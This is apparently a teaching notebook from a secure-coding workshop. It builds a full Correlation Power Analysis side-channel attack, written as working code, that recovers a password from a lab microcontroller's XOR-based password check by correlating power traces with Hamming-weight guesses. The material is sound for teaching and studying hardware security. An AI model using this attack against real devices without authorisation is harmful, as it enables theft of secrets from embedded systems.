<jupyter_start><jupyter_text>Attack Password with Correlation Power Analysis IV (CPA)<jupyter_code>%run '../util/Metadata.ipynb'
print_metadata()<jupyter_output><empty_output><jupyter_text>Table of Contents1&nbsp;&nbsp;Improving the code2&nbsp;&nbsp;Basic Setup3&nbsp;&nbsp;Helper Functions for Password Attack4&nbsp;&nbsp;MAD attack5&nbsp;&nbsp;Pearson Correlation Coefficient5.1&nbsp;&nbsp;Definition5.2&nbsp;&nbsp;Python definition5.3&nbsp;&nbsp;Meaning and visualization5.4&nbsp;&nbsp;Usage for attacks6&nbsp;&nbsp;CPA password attack7&nbsp;&nbsp;Notes8&nbsp;&nbsp;Disconnect9&nbsp;&nbsp;Exercise In this example we want to improve the password check again to beat an MAD attack. Improving the codeLet's first recap the password checking loop from `advanced-passwdcheck`:```cfor(uint8_t i = 0; i < sizeof(correct_passwd); i++){    if (correct_passwd[i] != passwd[i]){        passbad = 1;    }}```The principle idea of the MAD attack described the last example was that the conditional execution of the `passbad = 1` is sufficient to generate a high peak in the difference between a correct and an incorrect character.This can be omitted if one goes with a more "mathematical" solution of the problem detecting if at least one character of the input password differs from the right one:```cpassbad = 0;for(uint8_t i = 0; i < sizeof(correct_passwd); i++){    passbad |= correct_passwd[i] ^ passwd[i];}```If the two characters differ their XOR is unequal to zero. Summing them all up with the OR `passbad` is non zero if and only if there was at least one XOR which was non zero.Looking at the assembly code of this loop we can easily see that there is no conditional jump anymore:```assembly    ldi r24, 0x00   ; passbad = 0loop:    ld  r20, X+     ; correct_chr = *correct_passwd; correct_passwd++    ld  r25, Z+     ; chr = *passwd; passwd++    eor r25, r20    ; chr ^= correct_chr    or  r24, r25    ; passbad |= chr    cp  r26, r18    ; Check if correct_passwd reached     cpc r27, r19    ; end address    brne .-14       ; Jump to loop```  Basic Setup Define Variables<jupyter_code>%run "../util/Init.ipynb"<jupyter_output><empty_output><jupyter_text>Build target and upload<jupyter_code>TARGET = 'advanced-passwdcheck-xor'
%store TARGET
%run "$HELPERSCRIPTS/Prepare.ipynb"<jupyter_output><empty_output><jupyter_text>Import helper functions<jupyter_code>%run "$HELPERSCRIPTS/Setup_Generic.ipynb"
scope.adc.samples = 500<jupyter_output><empty_output><jupyter_text>Helper Functions for Password Attack<jupyter_code>from bokeh.plotting import figure, show 
from bokeh.io import output_notebook
from bokeh.models import CrosshairTool, Label

output_notebook()
def cap_pass_trace(pass_guess, capture_output=False):
    reset_target(scope)

    scope.arm()
    target.flush()
    target.write(pass_guess)
    scope.capture()

    trace = scope.get_last_trace()
    if capture_output is True:
        ret = ''
        num_char = target.in_waiting()
        while num_char > 0:
            ret += target.read(num_char, 10)
            time.sleep(0.01)
            num_char = target.in_waiting()
        return trace, ret
    else:
        return trace<jupyter_output><empty_output><jupyter_text>MAD attackLet's see if the idea of high peaks in the absolute difference of two traces is still applicable:<jupyter_code>trace1 = cap_pass_trace('a\n')
trace2 = cap_pass_trace('b\n')
trace3 = cap_pass_trace('i\n')
p = figure(height=200)
p.add_tools(CrosshairTool())
p.line(range(len(trace1)), abs(trace1 - trace2), color='blue', legend='abs(trace1 - trace2)')
p.line(range(len(trace1)), abs(trace1 - trace3), color='red', legend='abs(trace1 - trace3)')
show(p)<jupyter_output><empty_output><jupyter_text>It is obvious that there is no point of attack anymore! Did we now succeed in programming a "secure" password check? Not yet! Pearson Correlation CoefficientIt is clear that we do not see any high differences in the traces of two password attempts anymore. But, the basic assumption about power side channel attacks still holds:> The power consumption of a device is proportional to the hamming weight of the data it processes.This means precisely, if the XOR between the correct password and the password attempt varies in its hamming weight the power consumption must vary the same way. Can this be observed?<jupyter_code>import bokeh.palettes

p = figure(height=300, x_range=(0, 100))
p.add_tools(CrosshairTool())

for i, attempt in enumerate(('\x01', '\xff', 'i')):
    trace = cap_pass_trace(attempt + '\n')
    p.line(range(len(trace)), trace, color=bokeh.palettes.Set1_6[i], legend=hex(ord(attempt)))

show(p)<jupyter_output><empty_output><jupyter_text>We can see that there is a small difference in the trace when we compare attempts with really different hamming weights. This is the difference we want to use to break the password again! DefinitionAn interesting statistical formula to face this problem is given by the *Pearson correlation coefficient*. For two random variables $X, Y$ it is defined as$$\rho_{X,Y} := \frac{\mathrm{Cov}(X, Y)}{\sqrt{\mathrm{Var}(X)} \sqrt{\mathrm{Var}(Y)}} \ \in [-1, 1]\,.$$For two samples of finite length $x = {x_1, ..., x_n}$, $y = {y_1, ..., y_n}$ it can be defined as $$r_{x,y} := \frac{\sum_{i=1}^n (x_i - \bar x)(y_i - \bar y)}{\sqrt{\sum_{i=1}^n (x_i - \bar x)^2}\sqrt{\sum_{i=1}^n (y_i - \bar y)^2}} \ \in [-1, 1]\,,$$where $\bar x := \frac{1}{n} \sum_{i=1}^n x_i$ is the mean of a sample $x$.  Python definition<jupyter_code>import numpy as np

def pearson(x: np.array, y: np.array):
    x_mean = np.mean(x)
    y_mean = np.mean(y)
    return sum((x - x_mean) * (y - y_mean)) / np.sqrt(sum((x - x_mean) ** 2) * sum((y - y_mean) ** 2))<jupyter_output><empty_output><jupyter_text>Meaning and visualizationThe importance and application of the Pearson coefficient is not obvious. Therefore we want to look at some examples.<jupyter_code>import numpy as np
import bokeh.palettes
import bokeh.layouts
from bokeh.models import Label

size = 100
data = []
data.append(5 * np.array(range(size)) + np.random.uniform(-size/4, size/4, size=size))
data.append(np.array(range(size)) + np.random.uniform(-size/4, size/4, size=size) + 10)
data.append(-3 * np.array(range(size)) + np.random.uniform(-size/4, size/4, size=size) + 200)
data.append(100 * np.sin(np.array(range(size)) / size * np.pi) + np.random.uniform(-size/10, size/10, size=size))

plots = []

for i in range(len(data)):
    p = figure()
    plots.append(p)
    p.circle(range(size), data[i], color=bokeh.palettes.Set1_6[i],
             legend='pearson(range(size), data[{}]) = {:.3f}'.format(i, pearson(range(size), data[i])))

show(bokeh.layouts.gridplot(children=plots, ncols=2, sizing_mode='scale_width', plot_height=300))<jupyter_output><empty_output><jupyter_text>In these plots one can easily see that the Pearson correlation coefficient reveals if there is a *linear* dependency between two samples. The sign of the linear factor equals the sign of the coefficient. At the $\sin$ example we can see that other dependencies cannot revealed.  Usage for attacksWe want to consider the following example: We feed in random data to the password checking function. Somewhere in the code, at the instruction `ld r25, Z+`, the password attempt is loaded into the register file. The power consumption at this point shall be proportional to the hamming weight of the current password data. In other words there is a *linear dependency* between the power consumption and the input!First, define a function to collect traces from random data:<jupyter_code>import random
import tqdm
import numpy as np

def cap_pass_random(size=500, password_length=7):
    """Collect size number of password attempts with fully random random data."""
    traces = []
    textins = []
    for _ in tqdm.tqdm_notebook(range(size)):
        pass_guess = ''.join(map(chr, random.choices(range(1, 256), k=password_length)))
        traces.append(cap_pass_trace(pass_guess + '\n'))
        textins.append(pass_guess)
    return np.array(traces), textins<jupyter_output><empty_output><jupyter_text>And of course a function to compute the Hamming Weight:<jupyter_code>import numpy as np

HW = [bin(n).count("1") for n in range(0, 256)]

def hw(n):
    if isinstance(n, str):
        return HW[ord(n)]
    return HW[n]

hw_vec = np.vectorize(hw)<jupyter_output><empty_output><jupyter_text>Now, let's collect some traces and plot the *pointwise* correlation between the characters of the attempt (more precisely their *hamming weight*) and the traces.<jupyter_code>import numpy as np

def pearson_pointwise(traces, intermediates):
    intermediates_diff = intermediates - np.mean(intermediates)
    intermediates_sqrt = np.sqrt(np.sum(intermediates_diff ** 2))
    traces_diff = traces - np.mean(traces, axis=0)
    
    return np.sum(traces_diff * intermediates_diff[:, None], axis=0) / (
        np.sqrt(np.sum(traces_diff ** 2, axis=0)) * intermediates_sqrt
    )
import bokeh.palettes
import bokeh.transform
from bokeh.models import ColumnDataSource

def correlation_plot(correlations, color_palette=bokeh.palettes.Oranges6, **kw):
    kw['height'] = kw.get('height', 300)
    kw['y_range'] = kw.get('y_range', (-1, 1))
    p = figure(sizing_mode='stretch_width', **kw)
    p.vbar(
        x='points',
        top='corr',
        width=1,
        source=ColumnDataSource(data=dict(
            points=range(len(correlations)),
            corr=correlations,
            abscorr=abs(correlations),
        )),
        color=bokeh.transform.linear_cmap(
            field_name='abscorr', 
            palette=color_palette,
            low=1,
            high=0,
        ),
    )
    return p
traces, textins = cap_pass_random(size=20, password_length=1)
correlations = pearson_pointwise(traces, hw_vec(textins))
show(correlation_plot(correlations, x_range=(0, 100)))<jupyter_output><empty_output><jupyter_text>We can see that there is a huge correlation between the input texts and the traces recorded at around position 55. In other words the instructions at this position exactly operate on the data given by `textins`!How to utilize this for an attack!? What we want to see in the correlation is not the input character itself but somehow the *password*. This can be done by a nice trick:> 1. Find a point where the secret "collides" with a definable input.> 2. Correlate against this intermediate result.We know that the processor uses a XOR to "combine" the password attempt with the correct password character. Thus we can use this XOR as intermediate value and try "guessing" the key:<jupyter_code>import bokeh.layouts

keyguesses = ['a', 'b', 'i']

intermediates = [
    np.array([hw(ord(c) ^  ord(keyguess)) for c in textins])
    for keyguess in keyguesses
]

show(bokeh.layouts.column(
    children=[
        correlation_plot(
            pearson_pointwise(traces, intermediate),
            title='Correlation against keyguess "{}"'.format(keyguess),
            height=200,
        ) for intermediate, keyguess in zip(intermediates, keyguesses)
    ],
    sizing_mode='stretch_width',
))<jupyter_output><empty_output><jupyter_text>Now it is clear how to write down the actual attack.  CPA password attackIn words we can formulate the *Correlation Power Analysis (CPA)* attack as follows:1. Trace several password attempts with randomly chosen characters.1. Iterate over all possible password characters.1. Calculate the pointwise Pearson correlation coefficient between the traces and the intermediate value for the current password character. Save the absolute maximum of the correlations.1. It is the correct password character which has the highest absolute correlation.<jupyter_code>import itertools
import numpy as np
import tqdm

def cpa_password_attack(
    samples=500,
    trylist='abcdefghijklmnopqrstuvwxyz0123456789',
    password_length=7,
    correlation_threshold=0.8,
):
    # 1. Capture traces
    traces, textins = cap_pass_random(size=samples, password_length=password_length)
    
    numtraces, numpoints = traces.shape
    
    password_guess = []
    for password_index in range(password_length):
        maxpearsons = []
        # 2. Iterate over possible characters
        for guessid, guess in enumerate(trylist):
            # 3. Calculate pointwise correlation between traces and intermediates
            intermediate = np.array([hw(ord(attempt[password_index]) ^ ord(guess)) for attempt in textins])
            correlations = pearson_pointwise(traces, intermediate)

            maxpearsons.append((max(abs(correlations)), guess))

        maxpearsons = sorted(maxpearsons, reverse=True) 
        current_guess = [(corr, char) for corr, char in maxpearsons if corr > correlation_threshold]
        if not current_guess:
            current_guess = [maxpearsons[0]]
        password_guess.append([char for corr, char in current_guess])
        print('Candidates for index {}: '.format(password_index), current_guess)
        
    # 4. Test possible passwords
    for attempt in tqdm.tqdm_notebook(itertools.product(*password_guess)):
        attempt = ''.join(attempt)
        if 'Welcome' in cap_pass_trace(attempt + '\n', capture_output=True)[1]:
            return traces, textins, attempt
    
    raise Exception('No password found.')

traces, textins, password = cpa_password_attack(samples=500)
print('Password broken: ', password)<jupyter_output><empty_output><jupyter_text>NotesAt this point it is not clear why there are several characters per password digit generating high correlations. This analyze would go beyond the scope of this Notebook. Thus it is shifted to a separate sheet.  Disconnect<jupyter_code>scope.dis()
target.dis()<jupyter_output><empty_output>
{'fraction_non_alphanumeric': 0.10688471928159451, 'fraction_numerical': 0.014966781046944586, 'mean_word_length': 4.382318271119843, 'pattern_counts': {'":': 0, '<': 63, '<?xml version=': 0, '>': 66, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'chain_length': '15', 'dir': 'jupyter-structured-clean-dedup', 'id': '430724', 'license': 'MIT', 'n_tokens_mistral': 4400, 'n_tokens_neox': 4188, 'n_words': 1349, 'path': 'passwordcheck/Passwordcheck_Attack_4.ipynb', 'repo_name': 'hackenbergstefan/securec_ws1920', 'size': '13697'}